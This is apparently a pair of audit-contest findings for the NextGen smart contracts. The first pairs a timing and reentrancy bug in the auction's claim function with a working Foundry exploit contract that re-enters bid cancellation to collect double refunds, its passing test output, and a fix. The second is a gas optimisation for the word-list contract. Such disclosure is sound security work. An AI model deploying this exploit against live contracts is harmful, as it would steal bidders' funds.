NextGen - epistkr's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116 https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L135 https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

There are improper time checks in AuctionDemo.sol. participateToAuction(), cancelBid(), cancelAllBids() in AuctionDemo.sol, use block.timestamp <= minter.getAuctionEndTime(_tokenid) to check auction end. But claimAuction() use block.timestamp >= minter.getAuctionEndTime(_tokenid).

So when in condition block.timestamp == minter.getAuctionEndTime(_tokenid), The auction is closed at the same time as it is progressing, so all function is callable.

In claimAuction(), refund routine make bidder could call again cancelBid() or cancelAllBids() in fallback(). because there are no routine auctionInfoData[_tokenid][index].status = false;

So, attacker could request twice for refund.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Here is flow for attack.

1. attacker bid early
2. victim bid
3. attacker call high bid and got winner
4. attacker call claimAuction() in endtime
5. attacker's fallback() will be called
6. attacker call cancelAllBids()
7. attacker could get twice bid for early

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";


import "../src/NextGenAdmins.sol";
import "../src/NextGenCore.sol";
import "../src/MinterContract.sol";
import "../src/AuctionDemo.sol";
import "../src/IERC721.sol";
import "../src/XRandoms.sol";
import "../src/RandomizerNXT.sol";

contract auctionDemoTest is Test {
    auctionDemo public TARGET;
    uint endtime;

    function setUp() public {
        address system = vm.addr(0x31337);
        vm.deal(system, 1000 ether);

        vm.startPrank(system);
        address admin = address(new NextGenAdmins());
        address gencore = address(new NextGenCore("", "", admin));
        address minter = address(new NextGenMinterContract(gencore, address(0), admin));
        address random = address(new randomPool());
        address randomizer = address(new NextGenRandomizerNXT(random, admin, gencore));
        TARGET = new auctionDemo(minter, gencore, admin);

        string[] memory t = new string[](2);
        t[0] = "";
        t[1] = "";
        NextGenCore(gencore).createCollection("", "", "", "", "", "", "", t);
        NextGenCore(gencore).setCollectionData(1, address(0), 0, 10, 0);
        NextGenCore(gencore).addMinterContract(address(minter));  
        NextGenCore(gencore).addRandomizer(1, randomizer);
        NextGenMinterContract(minter).setCollectionCosts(1, 1, 1, 1, 1, 1, address(this));
        NextGenMinterContract(minter).setCollectionPhases(1, 1, 1, 1, 1, bytes32(""));
        NextGenMinterContract(minter).mintAndAuction(address(this), "", 1, 1, (block.timestamp+1 days));

        vm.stopPrank();

        NextGenCore(gencore).approve(address(TARGET), 10000000000);
        endtime = NextGenMinterContract(minter).getAuctionEndTime(10000000000);
    }

    function testExploit() public {

        
        uint before_balance = address(this).balance;
        
        TARGET.participateToAuction{value: 5 ether}(10000000000);
        
        // victim who bid after attacker will be target...

        // victim bid
        address victim1 = vm.addr(0x1337);
        vm.deal(victim1, 15 ether);

        address victim2 = vm.addr(0x1338);
        vm.deal(victim2, 15 ether);

        address victim3 = vm.addr(0x1339);
        vm.deal(victim3, 15 ether);

        vm.startPrank(victim1);
        TARGET.participateToAuction{value: 6 ether}(10000000000);
        vm.stopPrank();

        vm.startPrank(victim2);
        TARGET.participateToAuction{value: 8 ether}(10000000000);
        vm.stopPrank();

        vm.startPrank(victim3);
        TARGET.participateToAuction{value: 10 ether}(10000000000);
        vm.stopPrank();

        // attacker will be highest bidder
        TARGET.participateToAuction{value: 11 ether}(10000000000);

        // wait until auction end
        vm.warp(endtime);

        // call claim in endtime...
        TARGET.claimAuction(10000000000);

        // calc profit?
        uint after_balance = address(this).balance;       
        uint balance_diff = after_balance - before_balance;
        console2.log("attacker earning: ", balance_diff);

        console2.log("done");
    }

    fallback() payable external {
        // attacker will not pay...
        TARGET.cancelAllBids(10000000000);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

}

And here is result of test. And this is the case when attacker get the least amount of money. If attacker call many participateToAuction() and cancelBid() for each, the profit can be maximized.

$ forge test -vvv
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[PASS] testExploit() (gas: 553598)
Logs:
  attacker earning:  5000000000000000000
  done

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.25ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual

Recommended Mitigation Steps

I recommand that the conditions change clearly, In this case, use '>' using >=.

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);

Here is result of patch.

$ forge test -vv
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.07ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/AuctionDemoTest.t.sol:auctionDemoTest
[FAIL. Reason: EvmError: Revert] testExploit() (gas: 453870)

Encountered a total of 1 failing tests, 0 tests succeeded

Assessed type

Timing

In smart-contracts/XRandoms.sol, wordsList is string memory type in getWord() function. This make cost when calling getWord().

    function getWord(uint256 id) private pure returns (string memory) {
        
        // array storing the words list
        string[100] memory wordsList = ["Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange", ...

        // returns a word based on index
        if (id==0) {
            return wordsList[id];
        } else {
            return wordsList[id - 1];
        }
        }

So It could be improved by using storage access.

Here is full code of XRandoms.sol changed.

// SPDX-License-Identifier: MIT

/**
 *
 *  @title: NextGen Word Pool
 *  @date: 09-October-2023 
 *  @version: 1.1
 *  @author: 6529 team
 */

pragma solidity ^0.8.19;

contract randomPool {
    // array storing the words list
    string[100] public wordsList = ["Acai", "Ackee", "Apple", "Apricot", "Avocado", "Babaco", "Banana", "Bilberry", "Blackberry", "Blackcurrant", "Blood Orange", 
    "Blueberry", "Boysenberry", "Breadfruit", "Brush Cherry", "Canary Melon", "Cantaloupe", "Carambola", "Casaba Melon", "Cherimoya", "Cherry", "Clementine", 
    "Cloudberry", "Coconut", "Cranberry", "Crenshaw Melon", "Cucumber", "Currant", "Curry Berry", "Custard Apple", "Damson Plum", "Date", "Dragonfruit", "Durian", 
    "Eggplant", "Elderberry", "Feijoa", "Finger Lime", "Fig", "Gooseberry", "Grapes", "Grapefruit", "Guava", "Honeydew Melon", "Huckleberry", "Italian Prune Plum", 
    "Jackfruit", "Java Plum", "Jujube", "Kaffir Lime", "Kiwi", "Kumquat", "Lemon", "Lime", "Loganberry", "Longan", "Loquat", "Lychee", "Mammee", "Mandarin", "Mango", 
    "Mangosteen", "Mulberry", "Nance", "Nectarine", "Noni", "Olive", "Orange", "Papaya", "Passion fruit", "Pawpaw", "Peach", "Pear", "Persimmon", "Pineapple", 
    "Plantain", "Plum", "Pomegranate", "Pomelo", "Prickly Pear", "Pulasan", "Quine", "Rambutan", "Raspberries", "Rhubarb", "Rose Apple", "Sapodilla", "Satsuma", 
    "Soursop", "Star Apple", "Star Fruit", "Strawberry", "Sugar Apple", "Tamarillo", "Tamarind", "Tangelo", "Tangerine", "Ugli", "Velvet Apple", "Watermelon"];


    function getWord(uint256 id) private view returns (string storage) {
        // returns a word based on index
        if (id==0) {
            return wordsList[id];
        } else {
            return wordsList[id - 1];
        }
        }

    function randomNumber() public view returns (uint256){
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 1000;
        return randomNum;
    }

    function randomWord() public view returns (string memory) {
        uint256 randomNum = uint(keccak256(abi.encodePacked(block.prevrandao, blockhash(block.number - 1), block.timestamp))) % 100;
        return getWord(randomNum);
    }

    function returnIndex(uint256 id) public view returns (string memory) {
        return getWord(id);
    }

}

Here is my test code to test Contract, randomPool.t.sol

pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../src/XRandoms.sol";

contract RandomPoolTest is Test {
    randomPool pool;

    function setUp() public {
        pool = new randomPool();
    }

    function testRandomNumber() public {
        uint256 randomNum = pool.randomNumber();
        assertTrue(randomNum >= 0 && randomNum < 1000);
    }

    function testRandomWord() public {
        string memory word = pool.randomWord();
        assertTrue(bytes(word).length > 0);
    }

    function testReturnIndex() public {
        string memory word = pool.returnIndex(1);
        assertEq(word, "Acai");
    }

    function testFailReturnIndexOutOfBounds() public {
        pool.returnIndex(101); // This should fail because the index is out of bounds
    }
}

Here is gas report before patched.

$ forge test --contracts test/randomPool.t.sol --gas-report
...
Running 4 tests for test/randomPool.t.sol:RandomPoolTest
[PASS] testFailReturnIndexOutOfBounds() (gas: 13329)
[PASS] testRandomNumber() (gas: 5787)
[PASS] testRandomWord() (gas: 14637)
[PASS] testReturnIndex() (gas: 15001)
Test result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.07ms
| src/XRandoms.sol:randomPool contract |                 |      |        |      |         |
|--------------------------------------|-----------------|------|--------|------|---------|
| Deployment Cost                      | Deployment Size |      |        |      |         |
| 899135                               | 4523            |      |        |      |         |
| Function Name                        | min             | avg  | median | max  | # calls |
| randomNumber                         | 558             | 558  | 558    | 558  | 1       |
| randomWord                           | 8912            | 8912 | 8912   | 8912 | 1       |
| returnIndex                          | 8293            | 8442 | 8442   | 8591 | 2       |



Ran 1 test suites: 4 tests passed, 0 failed, 0 skipped (4 total tests)

Here is gas report after patched.

$ forge test --contracts test/randomPool.t.sol --gas-report
...

Running 4 tests for test/randomPool.t.sol:RandomPoolTest
[PASS] testFailReturnIndexOutOfBounds() (gas: 5418)
[PASS] testRandomNumber() (gas: 5787)
[PASS] testRandomWord() (gas: 9461)
[PASS] testReturnIndex() (gas: 9811)
Test result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.22ms
| src/XRandoms.sol:randomPool contract |                 |      |        |      |         |
|--------------------------------------|-----------------|------|--------|------|---------|
| Deployment Cost                      | Deployment Size |      |        |      |         |
| 2497178                              | 4441            |      |        |      |         |
| Function Name                        | min             | avg  | median | max  | # calls |
| randomNumber                         | 558             | 558  | 558    | 558  | 1       |
| randomWord                           | 3736            | 3736 | 3736   | 3736 | 1       |
| returnIndex                          | 382             | 1891 | 1891   | 3401 | 2       |



Ran 1 test suites: 4 tests passed, 0 failed, 0 skipped (4 total tests)